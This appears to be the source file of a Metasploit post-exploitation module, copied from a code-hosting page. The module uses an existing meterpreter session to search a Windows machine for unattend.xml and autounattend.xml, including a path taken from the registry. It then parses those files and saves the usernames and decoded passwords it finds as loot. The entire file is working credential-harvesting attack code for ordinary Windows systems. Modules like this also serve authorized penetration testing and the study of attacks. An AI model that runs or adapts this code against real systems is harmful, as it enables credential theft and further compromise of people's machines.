174 lines
4.3 KiB
Ruby
174 lines
4.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'rex/parser/unattend'
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require 'rexml/document'
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class MetasploitModule < Msf::Post
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include Msf::Post::File
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Gather Unattended Answer File Enumeration',
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'Description' => %q{
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This module will check the file system for a copy of unattend.xml and/or
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autounattend.xml found in Windows Vista, or newer Windows systems. And then
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extract sensitive information such as usernames and decoded passwords.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Sean Verity <veritysr1980[at]gmail.com>',
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'sinn3r',
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'Ben Campbell'
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],
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'References' =>
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[
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['URL', 'http://technet.microsoft.com/en-us/library/ff715801'],
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['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'],
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['URL', 'http://technet.microsoft.com/en-us/library/c026170e-40ef-4191-98dd-0b9835bfa580']
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],
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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register_options(
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[
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OptBool.new('GETALL', [true, 'Collect all unattend.xml that are found', true])
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])
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end
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#
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# Determine if unattend.xml exists or not
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#
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def unattend_exists?(xml_path)
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x = session.fs.file.stat(xml_path) rescue nil
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return !!x
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end
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#
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# Read and parse the XML file
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#
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def load_unattend(xml_path)
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print_status("Reading #{xml_path}")
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f = session.fs.file.new(xml_path)
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raw = ""
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until f.eof?
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raw << f.read
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end
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begin
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xml = REXML::Document.new(raw)
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rescue REXML::ParseException => e
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print_error("Invalid XML format")
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vprint_line(e.message)
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return nil, raw
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end
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return xml, raw
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end
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#
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# Save Rex tables separately
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#
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def save_cred_tables(cred_table)
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t = cred_table
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vprint_line("\n#{t.to_s}\n")
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p = store_loot('windows.unattended.creds', 'text/plain', session, t.to_csv, t.header, t.header)
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print_good("#{t.header} saved as: #{p}")
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end
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#
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# Save the raw version of unattend.xml
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#
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def save_raw(xmlpath, data)
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return if data.empty?
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fname = ::File.basename(xmlpath)
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p = store_loot('windows.unattended.raw', 'text/plain', session, data)
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print_good("Raw version of #{fname} saved as: #{p}")
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end
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#
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# If we spot a path for the answer file, we should check it out too
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#
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def get_registry_unattend_path
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# HKLM\System\Setup!UnattendFile
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begin
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key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM')
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fname = key.query_value('Setup!UnattendFile').data
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return fname
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rescue Rex::Post::Meterpreter::RequestError
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return ''
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end
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end
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#
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# Initialize all 7 possible paths for the answer file
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#
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def init_paths
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drive = session.sys.config.getenv('SystemDrive')
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files =
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[
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'unattend.xml',
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'autounattend.xml'
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]
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target_paths =
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[
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"#{drive}\\",
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"#{drive}\\Windows\\System32\\sysprep\\",
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"#{drive}\\Windows\\panther\\",
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"#{drive}\\Windows\\Panther\Unattend\\",
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"#{drive}\\Windows\\System32\\"
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]
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paths = []
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target_paths.each do |p|
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files.each do |f|
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paths << "#{p}#{f}"
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end
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end
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# If there is one for registry, we add it to the list too
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reg_path = get_registry_unattend_path
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paths << reg_path unless reg_path.empty?
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return paths
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end
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def run
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init_paths.each do |xml_path|
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# If unattend.xml doesn't exist, move on to the next one
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unless unattend_exists?(xml_path)
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vprint_error("#{xml_path} not found")
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next
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end
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xml, raw = load_unattend(xml_path)
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save_raw(xml_path, raw)
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# XML failed to parse, will not go on from here
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return unless xml
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results = Rex::Parser::Unattend.parse(xml)
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table = Rex::Parser::Unattend.create_table(results)
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table.print unless table.nil?
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print_line
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# Save the data to a file, TODO: Save this as a Mdm::Cred maybe
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save_cred_tables(table) unless table.nil?
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return unless datastore['GETALL']
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end
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end
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end
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